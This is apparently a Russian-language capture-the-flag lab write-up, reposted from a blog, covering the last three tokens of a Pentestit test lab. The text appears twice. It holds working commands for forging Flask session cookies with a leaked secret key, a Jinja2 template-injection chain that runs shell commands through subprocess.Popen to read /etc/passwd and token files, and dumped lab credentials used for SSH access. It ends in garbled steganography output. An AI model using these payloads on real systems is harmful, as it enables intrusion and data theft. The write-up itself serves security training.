Последний и самый не простой рывок в сторону коллекционирования оставщихся 3 токенов.
Глубоко вздохнули и погнали...
API Token
Натыкаемся еще на один упущенный айпишник: 172.16.2.16
Думаем, что можно сделать.
Нашли 2 странички: auth и search в 405 ошибке...
Странно, что ответ получаем разный, возможно сетка в очередной раз захлебывается.
Не забываем использовать все подручные инструменты (мне иногда сподручнее Acunetix Tools)
Нам нужен ключик лицензии (русский язык все же не всю суть отражает). Будем искать.
Есть неплохая мысль которую сгенерил на днях
Для работы с кукарями пользуйтесь лисой (Mozilla Firefox) - F12 - сеть или
скриптом noraj/flask-session-cookie-manager :
ну или
и вставим в результат:
и мы получили ключики:
Бежим немедленно на API сервис вставлять их, но перед нами встает большая загадка, как вставить ключики в
А еще мы понимаем, что в куках есть SSTI уязвимость:
хз как, но ваф блочит тэг
Кайра пробился в куки:
По этой статье https://github.com/swisskyrepo/PayloadsAllTheThings ищем Jinja2 - Remote Code Execution via reverse shell и находим, что с помощью
Подставляем вывод в куки и видим:
Далее дампим вывод в файл и ищем индекс интересных библиотек.
(find.py)
Вывод:
Видим, что у нас есть subprocess.Popen значит можем сделать RCE. Для начала, запишем команду вывода /etc/passwd в конфиг и включим его в глобальный конфиг:
Подставляем куки, и видим что процесс выполнился:
Попробуем включить конфиг:
Пробуем обратится к нашему параметру,
и вуаля RCE!
Видим юзера flask-api:x:1001:1001::/var/www/api:/bin/false и пробуем посмотреть его файлы:
В дело включился
Дальше рыскаем по серваку, что там еще есть.
Снова подгружаем наш конфиг, и пробуем обратиться к нашей переменной. Крутяк, нашли файл токен
Теперь прочитаем:
Снова подгружаем наш конфиг, и пробуем обратиться к нашей переменной.
Задание выполнено и флаг у нас:
Tips - ищите токен, он в
Меня лично к этому жизнь не готовила, забираю свои слова - этот токен был намного сложнее всех тех, которые мы уже взяли...
________________________________________
У нас осталось 2 токена: Admin и Image
________________________________________
ADMIN Token
Заблудился где-то на уровне хоста 172.16.1.25, который так и называется admin.test.lab, но для коннекта по SSH нужен ключик, мы его нашли но пока коннект не обеспечен. Есть мысли, что этот хост судя по найденным данным в SIEM имеет клиента для сием, может через него попробовать подрубиться или запросами получить данные, а может ранее найденные сертификаты на хостах с SSH и есть ключ к которому нужно сделать пару. Еще будем пробовать найти зацепки на хосте my.test.lab...
Пробуя найти информацию на хосте my.test.lab используя RCE через куки, нашли много информации, пытались ее вытаскивать, но как Вы понимаете без прямого доступа постоянно формируя куки - это сравни безумия.
Кайрат вытащил все таки эту api.db:
Вытащил таблицы:
Нашли скрипт api.run.py, в котором находим интересные строки:
И тут, снова, Кайрат выдает нам сюрприз:
В коде просят токен в качестве куки, и если токен от админа качается файл:
Вот, что животворящие знания питона вытворяют. Гениально, Кайрат!
А там архивчик с ключиком! Это именно то, что мы так долго искали. Это скорее всего как раз ключ для подключения к хосту admin.test.lab. Пробуем...
Сначала сформируем правильный ключик, дадим на него права
Затем пробуем:
Нужны корректные права. попробуем по имени хоста.:
Пробуем менять права:
Затем меняем права на своего sshd клиента и так далее...
Стоит предположить, что скорее всего ключ не полный, нам нужно подобрать алгоритм ключа. Пойдем в SIEM и посмотрим в логах, мы помним, что там был этот хост.
Еще раз обращаем внимание на содержание оригинала ключа из архива token.gz и видим, etc/id_rsa
Создаем такую папку у себя, если ее нет и даем на нее права.
Делаем небольшие корректировки в ключе:
Пробуем снова:
И опять ничего хорошего...
В итоге в голову
УРАААА товарищи!
Рыскать бессмысленно, права урезаны, давайте глянем на authorized_keys
________________________________________
У нас остался последний токен - IMAGE Token
________________________________________
Image токен либо кроется в найденных QR картинках (Barcode), которые по факту были расшифрованы как support_team, либо в лошадках, чего я там не нашел, в потерянном на сайте изображении или в изображении которое мы еще не видели. Но могу предположить, что это стеганография и это именно лошадки, но все известные мне пути вытаскивания информации с фото-стеганографии не идут в счет, т.к. помним, что все великие умы взявшие 15 из 16 токенов в первую неделю, около 10-15 дней бились в конвульсиях чтобы найти этот токен!
Не стану отражать весь процесс поиска используя XNView, strings, steghide, ImageSpyer, архиваторы и мой любимый инструмент - Stegsolve.jar используя вымещение всех альфа каналов и т.п.
Я этих пони и в хвост и в гриву стегсолвил - ну нету в них ничего, реально для отвода глаз видимо. Небольшой типс тем, кто только услышал что такое стеганография - старайтесь обращать в первую очередь внимание на большие изображения, а так же замечайте любые странности на размер и разрешение, а так же тут была статья (найду залинкую).
Вспоминаем, какие еще у нас есть изображения - Barcode их аж 4 штуки. Давайте прогоним их в Stegsolve.jar:
в первом изображении support.png видим смещение офсета в 4 из 60 вариаций.
во втором изображении support.png нет смещения офсета из 599 вариаций.
в третьем изображении support.png смещение офсета в 4 из 220 вариаций.
в четвертом изображении support.png смещение офсета в 3 из 75 вариаций.
Пытаемся понять закономерность и логику, подставляя каждый полученный результат в онлайн баркод ридеры.
Понимаем, что 3 из 4 изображений имеют смещения в 1 шаг и в процессе режут изображение под типом flattermarken. Да, кстати нам этот типс дал @Kemmio
У нашего товарища
Если image берется по flattenmarke, то это в баркоде который mini pdf417
Если убрать все лишнее получатся такие линии:
Насколько я понял Flattenmarken разбивает изображение на равные куски для каждого закодированного числа
И если 1111 это
то 1311 это
Сместили на 3 пикселя из-за значения цифры.
В генераторе который я нашел в интернете, изображение получается шириной кратной 18, но в баркоде ширина 220.
На этом изыскания завершились...
Итак, звонок другу у нас был, давайте попросим подсказку - помощь зала!
Помните, что мы не одни в этом жутком мире, есть товарищи и коллеги по цеху.
В целом идея в следующем: Нам нужно написать скрипт отчищающий все от мусора, потом циклом разобрать очищая от пустышек в виде 255,255,255 - обрезать содержимое очищая от нулей и по-буквенно заполнить вывод. Кратко: Белые -> черные, черные -> трэш и заполняем, а потом HEX...
Вот вывод одного из кодированных изображений такой:
Делаем чистку и получаем:
Брюки превращаются:
Немного по играясь скажу - что мы и Вы на верном пути, токен ТУТ, он где-то рядом! Автор скрипта очень хороший и отзывчивый d3cart который делал его по наводкам нашего очень хорошего товарища и форумчанина взявшего 2 место в лабаратории @BadBlackHat да и скрипт не дам, не просите!
________________________________________
Заключение:
В целом я очень доволен нашим результатом, меньше месяца и мы победили ее, я завершил последний токен 14-м!
Хочу пожелать организаторам никогда не останавливать эту пищу для мозга, которая так нужна всем молодым и растущим безопасникам, аналогов которой нет в просторах интернета, за что команде Pentestit спасибо! Но я бы хотел конечно видеть в личном кабинете хотя-бы занимаемое место.
Так же, хотел отметить, что неважно насколько Вы считаете себя умным или наоборот, помните - только команда специалистов может привести к верному результату, ведь Вы никогда не будете подготовлены во всех областях сразу. Как и команда из Codeby взявшая 2-5 места, мы и наши новые друзья с России, Казахстана, Белоруссии только сплочившись нашли различные варианты решений имея разные взгляды на задачи. Еще раз большое спасибо
Ну и Вам, кто дочитал все эти умозаключения до конца большое спасибо, растите умственно, становитесь безопаснее с нами... да и совсем забыл, Соблюдайте законодательство, никогда не используйте свои навыки во вред и злонамеренно и эта статья лишь прохождение лабораторной работы и написана для ознакомления. Надеюсь Вам понравилось прохождение и разбор всех тасков и Вы отблагодарите меня за старания и труд
Ну и напоследок, не думайте, что это так сложно, как Выучить C++ за 21 день. Всегда стремитесь и Вас всегда будет ждать успех!
Статья взята с https://securixy.kz
Глубоко вздохнули и погнали...
API Token
Натыкаемся еще на один упущенный айпишник: 172.16.2.16
Bash:
Starting Nmap 7.70 ( https://nmap.org ) at 2019-01-06 02:04 Oaio?aeuiay Acey (ceia)
Nmap scan report for 172.16.2.16
Host is up (0.20s latency).
Not shown: 999 filtered ports
PORT STATE SERVICE
8000/tcp open http-alt
Nmap done: 1 IP address (1 host up) scanned in 197.34 seconds
Думаем, что можно сделать.
Bash:
.\dirsearch.py -u http://172.16.2.16:8000 -e php,txt,bak,json,html,log,conf,cfg,ini,xls,doc,phtml -x 301,403,503,302 --random-agent
_|. _ _ _ _ _ _|_ v0.3.8
(_||| _) (/_(_|| (_| )
Extensions: php, txt, bak, json, html, log, conf, cfg, ini, xls, doc, phtml | Threads: 10 | Wordlist size: 10148
Target: http://172.16.2.16:8000
[02:51:29] Starting:
[02:53:16] 405 - 178B - /auth
[02:54:56] 405 - 178B - /search
Task Completed
Нашли 2 странички: auth и search в 405 ошибке...
Bash:
curl -o- 'http://172.16.2.16:8000/auth'
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN">
<title>405 Method Not Allowed</title>
<h1>Method Not Allowed</h1>
<p>The method is not allowed for the requested URL.</p>
Bash:
curl -o- 'http://172.16.2.16:8000/search'
curl: (7) Failed to connect to 172.16.2.16 port 8000: Connection refused
Не забываем использовать все подручные инструменты (мне иногда сподручнее Acunetix Tools)
Нам нужен ключик лицензии (русский язык все же не всю суть отражает). Будем искать.
Есть неплохая мысль которую сгенерил на днях
Ссылка скрыта от гостей
- нужно играть с куками. Мне кажется, что на хосте my.test.lab есть еще что-то, чего мы не видели. Нам в итоге не удалось раскрутить SSTI на RCE в браузере, но можем пробовать под админом зайти или использовать куки.Для работы с кукарями пользуйтесь лисой (Mozilla Firefox) - F12 - сеть или
Ссылка скрыта от гостей
еще можете бурпом или плагином для иного браузера.скриптом noraj/flask-session-cookie-manager :
Bash:
python2 session_cookie_manager.py encode -s 'UGhldmJoZj8gYWl2ZnZoei5wYnovcG5lcnJlZg==' -t '{"role": u"admin"}'
Bash:
python2 session_cookie_manager.py encode -s 'UGhldmJoZj8gYWl2ZnZoei5wYnovcG5lcnJlZg==' -t '{"role": u"<a href=\"#\">asd</a>"}'
и мы получили ключики:
Бежим немедленно на API сервис вставлять их, но перед нами встает большая загадка, как вставить ключики в
http://172.16.2.16:8000/auth
POST запросами и другими не выходит.А еще мы понимаем, что в куках есть SSTI уязвимость:
хз как, но ваф блочит тэг
<?php ?>
и как его обойти пока что загадка...Кайра пробился в куки:
По этой статье https://github.com/swisskyrepo/PayloadsAllTheThings ищем Jinja2 - Remote Code Execution via reverse shell и находим, что с помощью
''.__class__.__mro__[1].__subclasses__()[/B] можно
посмотреть все подключенные классы.
Bash:
python2 session_cookie_manager.py encode -s 'UGhldmJoZj8gYWl2ZnZoei5wYnovcG5lcnJlZg==' -t '{"role": u"{{ \"\".__class__.__mro__[1].__subclasses__() }}"}'
Подставляем вывод в куки и видим:
Далее дампим вывод в файл и ищем индекс интересных библиотек.
(find.py)
import sys
a = []
with open('tr.txt') as f:
f = f.read().split(', ')
for l in f:
l = l.strip()
a += [l]
for x in a:
if sys.argv[1] in x:
print x, a.index(x)
Вывод:
Bash:
python find.py open
<class 'urllib.request.URLopener'> 248
<class 'subprocess.Popen'> 413
Видим, что у нас есть subprocess.Popen значит можем сделать RCE. Для начала, запишем команду вывода /etc/passwd в конфиг и включим его в глобальный конфиг:
Bash:
python2 session_cookie_manager.py encode -s 'UGhldmJoZj8gYWl2ZnZoei5wYnovcG5lcnJlZg==' -t '{"role": u"{{ \"\".__class__.__mro__[1].__subclasses__()[413](\"echo \\\"MY_ETC_PWD=open(\\\\\\\"/etc/passwd\\\\\\\").read()\\\" > /tmp/drrr123.cfg\", shell=True) }}"}'
Подставляем куки, и видим что процесс выполнился:
Попробуем включить конфиг:
{{ config.from_pyfile('/tmp/drrr123.cfg') }}
Пробуем обратится к нашему параметру,
{{config["MY_ETC_PWD"]}}
и вуаля RCE!
Видим юзера flask-api:x:1001:1001::/var/www/api:/bin/false и пробуем посмотреть его файлы:
Bash:
python2 session_cookie_manager.py encode -s 'UGhldmJoZj8gYWl2ZnZoei5wYnovcG5lcnJlZg==' -t '{"role": u"{{ \"\".__class__.__mro__[1].__subclasses__()[413](\"echo \\\"import os;MY_OS_LIST_DIR=os.listdir(\\\\\\\"/var/www/api/\\\\\\\")\\\" > /tmp/drrr124.cfg\", shell=True) }}"}'
В дело включился
Ссылка скрыта от гостей
и пробился благодаря статье
Ссылка скрыта от гостей
Bash:
import os MY_BLA = os.listdir('.')
Идеально!'MY_LIST_FILES': ['templates', 'venv', '.bash_history', 'site.ini', 'requirements.txt', 'site.sock', 'README.md', '.viminfo', 'decode_cookie.py', '__pycache__', 'app.py', 'static'],
Дальше рыскаем по серваку, что там еще есть.
Прокся? это интересно, но видимо не для нас.<Config {&//39;MY_OPEN': &//39;root:x:0:0:root:/root:/bin/bash\ndaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin\nbin:x:2:2:bin:/bin:/usr/sbin/nologin\nsys:x:3:3:sys:/dev:/usr/sbin/nologin\nsync:x:4:65534:sync:/bin:/bin/sync\ngames:x:5:60:games:/usr/games:/usr/sbin/nologin\nman:x:6:12:man:/var/cache/man:/usr/sbin/nologin\nlp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin\nmail:x:8:8:mail:/var/mail:/usr/sbin/nologin\nnews:x:9:9:news:/var/spool/news:/usr/sbin/nologin\nuucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin\nproxy:x:13:13roxy:/bin:/usr/sbin/nologin\nwww-data:x:33:33:www-data:/var/www:/usr/sbin/nologin\nbackup:x:34:34:backup:/var/backups:/usr/sbin/nologin\nlist:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin\nirc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin\ngnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin\nnobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin\nsystemd-timesync:x:100:103:systemd Time Synchronization,,,:/run/systemd:/bin/false\nsystemd-network:x:101:104:systemd Network Management,,,:/run/systemd/netif:/bin/false\nsystemd-resolve:x:102:105:systemd Resolver,,,:/run/systemd/resolve:/bin/false\nsystemd-bus-proxy:x:103:106:systemd Bus Proxy,,,:/run/systemd:/bin/false\nDebian-exim:x:104:109::/var/spool/exim4:/bin/false\nmessagebus:x:105:110::/var/run/dbus:/bin/false\nstatd:x:106:65534::/var/lib/nfs:/bin/false\nsshd:x:107:65534::/var/run/sshd:/usr/sbin/nologin\n_apt:x:108:65534::/nonexistent:/bin/false\nnginx:x:109:113:nginx user,,,:/nonexistent:/bin/false\nflask-site:x:1000:1000::/var/www/site:/bin/false\nflask-api:x:1001:1001::/var/www/api:/bin/false\n', 'PROPAGATE_EXCEPTIONS': None, 'TESTING': False, 'JSON_SORT_KEYS': True, 'MY_OS': <built-in function system>, 'APPLICATION_ROOT': '/', 'MY_LIST_FILES6': ['pyvenv.cfg', 'lib64', 'include', 'bin', 'lib', 'share'], 'SESSION_REFRESH_EACH_REQUEST': True, 'MY_OUT_READ': 'hello test\n', 'JSONIFY_PRETTYPRINT_REGULAR': False, 'DEBUG': False, 'USE_X_SENDFILE': False, 'EXPLAIN_TEMPLATE_LOADING': False, 'PERMANENT_SESSION_LIFETIME': datetime.timedelta(31), 'SEND_FILE_MAX_AGE_DEFAULT': datetime.timedelta(0, 43200), 'SESSION_COOKIE_SAMESITE': None, 'SESSION_COOKIE_HTTPONLY': True, 'MAX_COOKIE_SIZE': 4093, 'JSONIFY_MIMETYPE': 'application/json', 'TRAP_HTTP_EXCEPTIONS': False, 'ENV': 'production', 'MY_SUB': b'', 'SESSION_COOKIE_DOMAIN': False, 'MY_OOUT': 'hello test\n', 'MAX_CONTENT_LENGTH': None, 'SESSION_COOKIE_PATH': None, 'SESSION_COOKIE_NAME': 'session', 'TEMPLATES_AUTO_RELOAD': None, 'MY_TEST': 'root:x:0:0:root:/root:/bin/bash\ndaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin\nbin:x:2:2:bin:/bin:/usr/sbin/nologin\nsys:x:3:3:sys:/dev:/usr/sbin/nologin\nsync:x:4:65534:sync:/bin:/bin/sync\ngames:x:5:60:games:/usr/games:/usr/sbin/nologin\nman:x:6:12:man:/var/cache/man:/usr/sbin/nologin\nlp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin\nmail:x:8:8:mail:/var/mail:/usr/sbin/nologin\nnews:x:9:9:news:/var/spool/news:/usr/sbin/nologin\nuucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin\nproxy:x:13:13roxy:/bin:/usr/sbin/nologin\nwww-data:x:33:33:www-data:/var/www:/usr/sbin/nologin\nbackup:x:34:34:backup:/var/backups:/usr/sbin/nologin\nlist:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin\nirc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin\ngnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin\nnobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin\nsystemd-timesync:x:100:103:systemd Time Synchronization,,,:/run/systemd:/bin/false\nsystemd-network:x:101:104:systemd Network Management,,,:/run/systemd/netif:/bin/false\nsystemd-resolve:x:102:105:systemd Resolver,,,:/run/systemd/resolve:/bin/false\nsystemd-bus-proxy:x:103:106:systemd Bus Proxy,,,:/run/systemd:/bin/false\nDebian-exim:x:104:109::/var/spool/exim4:/bin/false\nmessagebus:x:105:110::/var/run/dbus:/bin/false\nstatd:x:106:65534::/var/lib/nfs:/bin/false\nsshd:x:107:65534::/var/run/sshd:/usr/sbin/nologin\n_apt:x:108:65534::/nonexistent:/bin/false\nnginx:x:109:113:nginx user,,,:/nonexistent:/bin/false\nflask-site:x:1000:1000::/var/www/site:/bin/false\nflask-api:x:1001:1001::/var/www/api:/bin/false\n', 'SESSION_COOKIE_SECURE': False, 'JSON_AS_ASCII': True, 'PREFERRED_URL_SCHEME': 'http', 'SECRET_KEY': 'UGhldmJoZj8gYWl2ZnZoei5wYnovcG5lcnJlZg==', 'TMP_OPEN': '', 'MY_OUT_READ3': '', 'PRESERVE_CONTEXT_ON_EXCEPTION': None, 'TRAP_BAD_REQUEST_ERRORS': None, 'SERVER_NAME': None, 'MY_LIST_FILES': ['templates', 'venv', '.bash_history', 'site.ini', 'requirements.txt', 'site.sock', 'README.md', '.viminfo', 'decode_cookie.py', '__pycache__', 'app.py', 'static'], 'MY_OUT_READ2': 'hello test\n', 'MY_BASH_API': 'psq\npwd\nls\nrm -rf venv\nls\nls -la\npython3 -m venv venv\n. venv/bin/activate\npip install -r requirements.txt \necho $http_proxy\ncat /etc/apt/apt.conf\nexport http_proxy="http://192.168.56.3:3128"\nexport https_proxy="http://192.168.56.3:3128"\npip install -r requirements.txt \nvim /etc/nginx/conf.d/site.conf \nls\ntouch site.sock\ndeactivate \nls\n. venv/bin/activate\npip install uwsgi\nexport http_proxy="http://192.168.56.3:3128"\nexport https_proxy="http://192.168.56.3:3128"\npip install uwsgi\nuwsgi\n'}>
Снова подгружаем наш конфиг, и пробуем обратиться к нашей переменной. Крутяк, нашли файл токен
Теперь прочитаем:
Bash:
python2 session_cookie_manager.py encode -s 'UGhldmJoZj8gYWl2ZnZoei5wYnovcG5lcnJlZg==' -t '{"role": u"{{ \"\".__class__.__mro__[1].__subclasses__()[413](\"echo \\\"MY_API_READED=open(\\\\\\\"/var/www/api/token.txt\\\\\\\").read()\\\" > /tmp/drrr125.cfg\", shell=True) }}"}'
Снова подгружаем наш конфиг, и пробуем обратиться к нашей переменной.
Задание выполнено и флаг у нас:
Tips - ищите токен, он в
/var/www/api/token.txt
Меня лично к этому жизнь не готовила, забираю свои слова - этот токен был намного сложнее всех тех, которые мы уже взяли...
________________________________________
У нас осталось 2 токена: Admin и Image
________________________________________
ADMIN Token
Заблудился где-то на уровне хоста 172.16.1.25, который так и называется admin.test.lab, но для коннекта по SSH нужен ключик, мы его нашли но пока коннект не обеспечен. Есть мысли, что этот хост судя по найденным данным в SIEM имеет клиента для сием, может через него попробовать подрубиться или запросами получить данные, а может ранее найденные сертификаты на хостах с SSH и есть ключ к которому нужно сделать пару. Еще будем пробовать найти зацепки на хосте my.test.lab...
Пробуя найти информацию на хосте my.test.lab используя RCE через куки, нашли много информации, пытались ее вытаскивать, но как Вы понимаете без прямого доступа постоянно формируя куки - это сравни безумия.
Кайрат вытащил все таки эту api.db:
http://my.test.lab/?q={{config["MY_APP"]}}
Вытащил таблицы:
Bash:
sqlite> .tables
alembic_version user
sqlite> select * from user;
1|user1|z8ld5F9DPyomobF9U6mmG0c5EvsMsmOY|xQfnwpmfSunRXdgz63UVwgDnFSbFPFCY
2|admin|PasswordForValidation__fk3n5fcaa|sstQrqwhjA84GWvVOAzKH8cD1xfMdfaH
3|user3|eN5tT6IqYqT2KI7yMqIPUpjvh2MeZgR4|XsKmbCs55LlGcOr7rzsYT2EQuNPcvLBN
4|user4|IK1rXC0dL6vQzj59z8OmXYWuHkO8yih7|pVhB854TZHSqjtI32UwRSgRyRIFj5siG
sqlite> select * from alembic_version
...> ;
sqlite>
Нашли скрипт api.run.py, в котором находим интересные строки:
def init_data():
token_list = list() //для предоставления токена в JSON API
pkey_list = list() //для предоставления pkey в куках
//Создание листа токенов
t = open('token.txt', 'w')
for i in range(5): //всего 5 пользователей
new_token = ''.join([random.choice(string.ascii_letters + string.digits) for n in range(32)])
token_list.append(new_token)
t.write(str(new_token)+'\n')
//Создание pkey для кук
for i in range(5):
new_pkey = ''.join([random.choice(string.ascii_letters + string.digits) for n in range(32)])
pkey_list.append(new_pkey)
// username - token - pkey
users = [
('user1', token_list[1], 'xQfnwpmfSunRXdgz63UVwgDnFSbFPFCY'),
('admin', 'PasswordForValidation__fk3n5fcaa', pkey_list[0]),
('user3', token_list[2], 'XsKmbCs55LlGcOr7rzsYT2EQuNPcvLBN'),
('user4', token_list[3], 'pVhB854TZHSqjtI32UwRSgRyRIFj5siG'),
]
//Внесение данных в БД
conn = connect_db()
cur = conn.cursor()
cur.executemany('INSERT INTO `user` VALUES(NULL,?,?,?)', users)
conn.commit()
conn.close()
И тут, снова, Кайрат выдает нам сюрприз:
В коде просят токен в качестве куки, и если токен от админа качается файл:
Bash:
curl -X POST -v -b 'token=PasswordForValidation__fk3n5fcaa' 172.16.2.16:8000/search -o token.gz
* Trying 172.16.2.16...
* TCP_NODELAY set
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
0 0 0 0 0 0 0 0 --:--:-- --:--:-- --:--:-- 0* Connected to 172.16.2.16 (172.16.2.16) port 8000 (0)
> POST /search HTTP/1.1
> Host: 172.16.2.16:8000
> User-Agent: curl/7.62.0
> Accept: */*
> Cookie: token=PasswordForValidation__fk3n5fcaa
>
0 0 0 0 0 0 0 0 --:--:-- 0:00:04 --:--:-- 0< HTTP/1.1 200 OK
< Server: nginx
< Date: Mon, 07 Jan 2019 15:57:02 GMT
< Content-Type: application/octet-stream
< Content-Length: 1524
< Connection: keep-alive
< Last-Modified: Thu, 13 Dec 2018 15:34:01 GMT
< Cache-Control: public, max-age=43200
< Expires: Tue, 08 Jan 2019 03:57:02 GMT
< ETag: "1544715241.716-1524-1047725766"
<
{ [1524 bytes data]
100 1524 100 1524 0 0 324 0 0:00:04 0:00:04 --:--:-- 339
* Connection 0 to host 172.16.2.16 left intact
Вот, что животворящие знания питона вытворяют. Гениально, Кайрат!
А там архивчик с ключиком! Это именно то, что мы так долго искали. Это скорее всего как раз ключ для подключения к хосту admin.test.lab. Пробуем...
Сначала сформируем правильный ключик, дадим на него права
Bash:
chmod 777 admin.key
Затем пробуем:
Bash:
ssh -i admin.key 172.16.1.25 -p22
root@172.16.1.25: Permission denied (publickey).
Нужны корректные права. попробуем по имени хоста.:
Bash:
ssh -i admin.key admin.test.lab -p22
The authenticity of host 'admin.test.lab (172.16.1.25)' can't be established.
ECDSA key fingerprint is SHA256:/iQqK4UOhab3e7FBLg1f/SYutsYJCALjp/vqHu3MgGY.
Are you sure you want to continue connecting (yes/no)? yes
Warning: Permanently added 'admin.test.lab' (ECDSA) to the list of known hosts.
root@admin.test.lab: Permission denied (publickey).
Пробуем менять права:
Bash:
chmod 644 admin.key
ssh -i admin.key 172.16.1.25 -p22
Permission denied (publickey).
chmod 600 admin.key
ssh -i admin.key 172.16.1.25 -p22
Permission denied (publickey).
sudo chmod 644 ~/.ssh/known_hosts
sudo chmod 755 ~/.ssh
Затем меняем права на своего sshd клиента и так далее...
Стоит предположить, что скорее всего ключ не полный, нам нужно подобрать алгоритм ключа. Пойдем в SIEM и посмотрим в логах, мы помним, что там был этот хост.
Еще раз обращаем внимание на содержание оригинала ключа из архива token.gz и видим, etc/id_rsa
Создаем такую папку у себя, если ее нет и даем на нее права.
Делаем небольшие корректировки в ключе:
etc/id_rsa
ssh2:RSA
-----SHA256:+XxHZSbLX2sU8BS9VfwlJSiH30KOk2yKJ51kRKBON1A-----
SHA256:/iQqK4UOhab3e7FBLg1f/SYutsYJCALjp/vqHu3MgGY
-----BEGIN RSA PRIVATE KEY-----
Пробуем снова:
Bash:
ssh -i admin.key 172.16.1.25 -p22
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@ WARNING: UNPROTECTED PRIVATE KEY FILE! @
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
Permissions 0775 for 'admin.key' are too open.
It is required that your private key files are NOT accessible by others.
This private key will be ignored.
Load key "admin.key": bad permissions
root@172.16.1.25: Permission denied (publickey).
И опять ничего хорошего...
В итоге в голову
Ссылка скрыта от гостей
приходит умная мысль - пробовать под авторизацией, пробуем admin, root, info и дальше по списку имеющихся у нас учеток - так же. В итоге находим точку входа:
Bash:
cd /
find | grep token
УРАААА товарищи!
Рыскать бессмысленно, права урезаны, давайте глянем на authorized_keys
________________________________________
У нас остался последний токен - IMAGE Token
________________________________________
Image токен либо кроется в найденных QR картинках (Barcode), которые по факту были расшифрованы как support_team, либо в лошадках, чего я там не нашел, в потерянном на сайте изображении или в изображении которое мы еще не видели. Но могу предположить, что это стеганография и это именно лошадки, но все известные мне пути вытаскивания информации с фото-стеганографии не идут в счет, т.к. помним, что все великие умы взявшие 15 из 16 токенов в первую неделю, около 10-15 дней бились в конвульсиях чтобы найти этот токен!
Не стану отражать весь процесс поиска используя XNView, strings, steghide, ImageSpyer, архиваторы и мой любимый инструмент - Stegsolve.jar используя вымещение всех альфа каналов и т.п.
Я этих пони и в хвост и в гриву стегсолвил - ну нету в них ничего, реально для отвода глаз видимо. Небольшой типс тем, кто только услышал что такое стеганография - старайтесь обращать в первую очередь внимание на большие изображения, а так же замечайте любые странности на размер и разрешение, а так же тут была статья (найду залинкую).
Вспоминаем, какие еще у нас есть изображения - Barcode их аж 4 штуки. Давайте прогоним их в Stegsolve.jar:
в первом изображении support.png видим смещение офсета в 4 из 60 вариаций.
во втором изображении support.png нет смещения офсета из 599 вариаций.
в третьем изображении support.png смещение офсета в 4 из 220 вариаций.
в четвертом изображении support.png смещение офсета в 3 из 75 вариаций.
Пытаемся понять закономерность и логику, подставляя каждый полученный результат в онлайн баркод ридеры.
Понимаем, что 3 из 4 изображений имеют смещения в 1 шаг и в процессе режут изображение под типом flattermarken. Да, кстати нам этот типс дал @Kemmio
У нашего товарища
Ссылка скрыта от гостей
появилась идея отчистить изображение от лишнего мусора.Если image берется по flattenmarke, то это в баркоде который mini pdf417
Если убрать все лишнее получатся такие линии:
Насколько я понял Flattenmarken разбивает изображение на равные куски для каждого закодированного числа
И если 1111 это
то 1311 это
Сместили на 3 пикселя из-за значения цифры.
В генераторе который я нашел в интернете, изображение получается шириной кратной 18, но в баркоде ширина 220.
На этом изыскания завершились...
Итак, звонок другу у нас был, давайте попросим подсказку - помощь зала!
Помните, что мы не одни в этом жутком мире, есть товарищи и коллеги по цеху.
В целом идея в следующем: Нам нужно написать скрипт отчищающий все от мусора, потом циклом разобрать очищая от пустышек в виде 255,255,255 - обрезать содержимое очищая от нулей и по-буквенно заполнить вывод. Кратко: Белые -> черные, черные -> трэш и заполняем, а потом HEX...
Вот вывод одного из кодированных изображений такой:
Делаем чистку и получаем:
Брюки превращаются:
#Eg▒▒▒▒#Eg▒▒▒▒#Eg▒▒▒▒#Eg▒▒▒▒#Eg▒▒▒▒#Eg▒▒▒▒#Eg▒▒▒▒#Eg▒▒▒▒#Eg▒▒▒▒#Eg▒▒▒▒#Eg▒▒▒▒#Eg▒▒▒▒#Eg▒▒▒▒#Eg▒▒▒▒#Eg▒▒▒▒#Eg▒▒▒▒#Eg▒▒▒▒#Eg▒▒▒▒#Eg▒▒▒▒#Eg▒▒▒▒#Eg▒▒▒▒#Eg▒▒▒▒#Eg▒▒▒▒#Eg▒▒▒▒#Eg▒▒▒▒#Eg▒▒▒▒#Eg▒▒▒▒#Eg▒▒▒▒#Eg▒▒▒▒#Eg▒▒▒▒#Eg▒▒▒▒#Eg▒▒▒▒#Eg▒▒▒▒#Eg▒▒▒▒#Eg▒▒▒▒#Eg▒▒▒▒#Eg▒▒▒▒#Eg▒▒▒▒#Eg▒▒▒▒#Eg▒▒▒▒#Eg▒▒▒▒#Eg▒▒▒▒#Eg▒▒▒▒#Eg▒▒▒▒#Eg▒▒▒▒#Eg▒▒▒▒#Eg▒▒▒▒#Eg▒▒▒▒#Eg▒▒▒▒#Eg▒▒▒▒#Eg▒▒▒▒#Eg▒▒▒▒#Eg▒▒▒▒#Eg▒▒▒▒#Eg▒▒▒▒#Eg▒▒▒▒#Eg▒▒▒▒#Eg▒▒▒▒#Eg▒▒▒▒#Eg▒▒▒▒#Eg▒▒▒▒#Eg▒▒▒▒#Eg▒▒▒▒#Eg▒▒▒▒#Eg▒▒▒▒#Eg▒▒▒▒#Eg▒▒▒▒#Eg▒▒▒▒#Eg▒▒▒▒#Eg▒▒▒▒#Eg▒▒▒▒#Eg▒▒▒▒#Eg▒▒▒▒#Eg▒▒▒▒#Eg▒▒▒▒#Eg▒▒
